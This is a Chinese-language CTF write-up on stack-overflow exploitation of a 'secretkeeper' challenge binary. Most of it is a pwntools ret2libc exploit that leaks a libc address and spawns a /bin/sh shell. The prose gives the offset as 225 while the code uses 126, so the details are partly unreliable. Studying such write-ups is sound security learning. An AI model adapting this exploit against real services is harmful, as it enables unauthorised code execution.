栈溢出利用小结

栈溢出利用小结

栈溢出是最简单的漏洞了，主要是通过学习栈溢出，学习其绕过保护机制的利用。

这里先用一道典型的题secretkeeper来进入。利用方式就是典型的地址泄露+ret2libc。

其漏洞的位置在修改secret的时候出现的：

现在我们来测一下。输入选择4，然后300个A，程序出现问题。

现在找到漏洞了，就太好了，接下来就是计算溢出点了。

溢出点在偏移225处，验证一下，输入225 * "A"+"BBBB".

果然程序的EIP到了我们的BBBB上面了，说明偏移正确。下面就是如何来绕过NX了。绕过方式就是ret2libc。

 1 from pwn import *
 2 debug  = 1
 3 local = 1
 4 if local:
 5     io = process(\'./secretkeeper\')
 6 else:
 7     io = remote("127.0.0.0",8080)
 8 
 9 context.log_level = \'debug\'
10 
11 if debug:
12     gdb.attach(io)
13     #gdb.attach(pidof(\'secretkeeper\')[-1])
14 
15 #-------------------------------------------------------#
16 
17 def create():
18     io.recvuntil(\'Please input your option:\')
19     io.sendline(\'1\')
20     io.recvuntil(\'Enter secret name:\')
21     io.sendline(\'name\')
22     io.recvuntil(\'Enter your password:\')
23     io.sendline(\'pass\')
24     io.recvuntil("Enter the secret level (The bigger the more important):")
25     io.sendline(\'10\')
26     io.recvuntil(\'Enter your secret:\')
27     io.sendline(\'AAAA\')
28 
29 def edit(payload):
30     io.recvuntil(\'Please input your option:\')
31     io.sendline(\'4\')
32     io.recvuntil(\'Enter the name of the secret to EDIT:\')
33     io.sendline(\'name\')
34     io.recvuntil(\'Enter your password:\')
35     io.sendline(\'pass\')
36     io.recvuntil(\'Enter the new level:\')
37     io.sendline(\'2\')
38     io.recvuntil(\'Enter your secret:\')
39     io.sendline(\'2\')
40     io.recvuntil(\'y/n\')
41     io.sendline(payload)
42 
43 #----------------------------------------------------------#
44 
45 print_plt = 0x080484A0
46 main = 0x08048A8F
47 print_got = 0x0804B00C
48 
49 payload = \'A\'*126
50 payload += p32(print_plt) + p32(main) +p32(print_got)
51 
52 create()
53 edit(payload)
54 
55 io.recvuntil(\'Your changes have been recorded!\')
56 io.recvline()
57 print_got_addr = u32(io.recv(4))
58 print \'print_got_addr=\' ,hex(print_got_addr)
59 
60 libc =ELF(\'/lib/i386-linux-gnu/libc.so.6\')
61 libc_addr = print_got_addr - libc.symbols[\'printf\']
62 
63 system_got = libc_addr + libc.symbols[\'system\']
64 print \'system_got=\' ,hex(system_got)
65 
66 ssh_addr = libc_addr + next(libc.search(\'/bin/sh\'))
67 print \'ssh_addr=\' ,hex(ssh_addr)
68 
69 payload1 = \'A\'*126
70 payload1 += p32(system_got) + p32(main) +p32(ssh_addr)
71 
72 create()
73 edit(payload1)
74 #gdb.attach(p,open( \'aa\'))
75 
76 
77 io.interactive()

参考文档：

　　ret2libc：http://blog.csdn.net/linyt/article/details/43643499

　　　　　　http://blog.csdn.net/guilanl/article/details/61921481